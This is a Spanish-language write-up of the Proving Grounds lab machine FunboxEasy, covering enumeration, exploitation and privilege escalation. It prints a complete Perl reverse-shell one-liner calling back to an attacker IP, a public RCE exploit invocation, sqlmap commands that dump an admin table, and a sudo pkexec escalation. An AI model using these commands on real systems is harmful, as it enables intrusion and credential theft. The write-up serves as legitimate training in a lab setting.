> For the complete documentation index, see [llms.txt](https://wiki.securiters.com/securiters-wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wiki.securiters.com/securiters-wiki/write-ups/proving-grounds/funboxeasy.md).

# FunboxEasy

<figure><img src="/files/256WbNLzoH5cmlAAcDdg" alt=""><figcaption></figcaption></figure>

### Enumeración

#### Servicios abiertos

Comenzamos realizando un escaneo rápido de los servicios que tiene abiertos está máquina.

```
nmap -p- --open --min-rate 5000 -Pn -n -vvv 192.168.113.111
```

<figure><img src="/files/rAZ5ZYOl2acBlDWhi9eE" alt=""><figcaption></figcaption></figure>

Puertos 22 (SSH) y 80 (HTTP) abiertos. Vamos a realizar un escaneo profundo de estos servicios.&#x20;

```
nmap -p22,80 -sVC -vvv 192.168.113.111
```

<figure><img src="/files/M6qy8Y6LpfFk4Q5GEMFC" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ibAwbcLvmRj1OaSd8Ghw" alt=""><figcaption></figcaption></figure>

Servicios abiertos:

* Puerto 22 -> SSH -> OpenSSH 8.2
* Puerto 80 -> HTTP -> Apache httpd 2.4.41

#### Enumeración Web

Comenzamos viendo el contenido del puerto 80 en el navegador Web.&#x20;

<figure><img src="/files/JsgRAamB34S6KfoRQ0oT" alt=""><figcaption></figcaption></figure>

Vemos la página por defecto de un servidor Apache. Vamos a enumerar si existen directorios interesantes.&#x20;

```
dirsearch -u "192.168.113.111" -i200,301 -t 30
```

<figure><img src="/files/nxBFyBoPRBPl2pxY799x" alt=""><figcaption></figcaption></figure>

Tenemos un archivo robots.txt y tres directorios interesantes /admin, /secret y /store. Revisamos el directorio /store.&#x20;

<figure><img src="/files/4E3zEyK1nNHx52wq4OOF" alt=""><figcaption></figcaption></figure>

### Explotación&#x20;

#### Método 1 (vía RCE)

Buscando CSE bookstore en Google, obtenemos un resultado interesante, un [RCE no autenticado](https://www.exploit-db.com/exploits/47887).&#x20;

```
python3 47887.py http://192.168.113.111/store/ 
```

<figure><img src="/files/nFHCn6UE6xPH2lvpjVbM" alt=""><figcaption></figcaption></figure>

Con la shell obtenida no podemos navegar correctamente. Vamos a enumerar que binarios están disponibles en la máquina para que podamos generar un shell útil.

<figure><img src="/files/pq41z9ZV8pRyhTbhedey" alt=""><figcaption></figcaption></figure>

"perl" está disponible en la máquina, vamos a intentar utilizarlo para generar una shell.&#x20;

```
perl -e 'use Socket;$i="192.168.49.113";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'
```

Al mismo tiempo, ponemos a la escucha un nc en el puerto 1234.

```
nc -lnvp 1234
```

<figure><img src="/files/9w5Lk1arygE5M8huBJOo" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/BfrE0MYgmnfapJkgVtVh" alt=""><figcaption></figcaption></figure>

Nos dirigimos al directorio /home para buscar usuarios del sistema. Encontramos un usuario "tony".

<figure><img src="/files/TUby5oHhAXdYBW3t6Ok9" alt=""><figcaption></figcaption></figure>

Dentro de ese directorio tenemos un archivo "password.txt" que contiene tres posibles credenciales.&#x20;

Recordamos que en el escaneo de servicios inicial, teníamos un servicio SSH en el puerto 22. Vamos a tratar de iniciar sesión en la máquina víctima con estas credenciales.&#x20;

```
ssh tony@192.168.113.111
```

<figure><img src="/files/nUx5ZQLeMN030DrnVBZU" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/M3O7c9mYhQ3YjRqEX5U7" alt=""><figcaption></figcaption></figure>

#### Método 2 (reverse shell en carga de archivos)

Navegando por /store, llegamos a un formulario de inicio de sesión.&#x20;

<figure><img src="/files/7ha8Ui1m1mBT03yBgh3t" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/KAVhLudOQG26SbDsggJY" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/uKvIOjoGmDp6qyAnmgZR" alt=""><figcaption></figcaption></figure>

Vamos a probar credenciales básicas. Las credenciales admin:admin funcionan y tenemos acceso a la plataforma de subida de nuevos libros.&#x20;

<figure><img src="/files/k9iDtBnrVHkfSqm3a0o0" alt=""><figcaption></figcaption></figure>

Seleccionamos "Add new book", seleccionamos alguno de los títulos, editamos  y cargamos el archivo shell en la carga de archivos de imagen. Modificamos la shell para burlar el filtro de imagen.&#x20;

<figure><img src="/files/Lnw6a51LtAykcUXgHzGL" alt=""><figcaption></figcaption></figure>

Al mismo tiempo, ponemos a la escucha un netcat en el puerto 1337.

<figure><img src="/files/xWgBf0euwtNKNmvhytUU" alt=""><figcaption></figcaption></figure>

Y volvemos  a tener conexión en la máquina víctima.

#### Método 3 (inyección SQL)

Cuando entramos al catálogo de libros disponibles en el catálogo y seleccionamos uno de los ejemplares, vemos la siquiente URL.

<figure><img src="/files/aIcfmtN73iCQTtfDAYh5" alt=""><figcaption></figcaption></figure>

Vamos a probar si es vulnerable a SQLi.

<figure><img src="/files/XbhOJ2Trwj5iGx74dHeF" alt=""><figcaption></figcaption></figure>

Es vulnerable a SQLi. El siguiente paso será explotar esta vulnrabilidad. Para ello, utilizaremos la herramienta "sqlmap". Después de un momento de ejecución, obtenemos información interesante.

```
sqlmap -u "http://192.168.113.111/store/book.php?bookisbn=" --dbs
```

<figure><img src="/files/yrtXFKe1FKQdKnMvSJTi" alt=""><figcaption></figcaption></figure>

```
sqlmap -u "http://192.168.113.111/store/book.php?bookisbn=" --dbs --columns -D store --dump 
```

<figure><img src="/files/aJk9lrxqT2pGv3WwzTN6" alt=""><figcaption></figcaption></figure>

```
sqlmap -u "http://192.168.113.111/store/book.php?bookisbn=" --dbs --columns -D store -T admin --dump
```

<figure><img src="/files/8ItUppFyb0SaeBtLcv2h" alt=""><figcaption></figcaption></figure>

Con las credenciales encontradas podemos iniciar sesión en la sección en "/store/admin.php"

### Elevación de privilegios

Comenzamos enumerando si existe algún binario que podamos ejecutar como "root" sin contraseña.

```
sudo -l
```

<figure><img src="/files/NYASrfMilQdj6dlMplyu" alt=""><figcaption></figcaption></figure>

El usuario "tony" puede lanzar múltiples ejecutables como "root" sin contraseñas. El más interesante, "/usr/bin/pkexec". Vamos a utilizar [GTFOBins](https://gtfobins.github.io/gtfobins/pkexec/#sudo), para buscar como elevar privilegios aprovechando esto.&#x20;

<figure><img src="/files/3h8Pw5ENp04oAPJQOdiC" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/h0typKmG4lcA9pZwKSL3" alt=""><figcaption></figcaption></figure>

Ya tenemos privilegios máximos en la máquina objetivo. Ahora a por las flags.

<figure><img src="/files/AWlXEyQm5AGugzampIkP" alt=""><figcaption><p>flag local.txt</p></figcaption></figure>

<figure><img src="/files/Pl2NMgp0CAGAHR5Q6lw5" alt=""><figcaption><p>flag proof.txt</p></figcaption></figure>

Y ya tendríamos otra máquina acabada de Proving Grounds.&#x20;

{% embed url="<https://www.youtube.com/watch?v=TDx3zsWBKg4>" %}
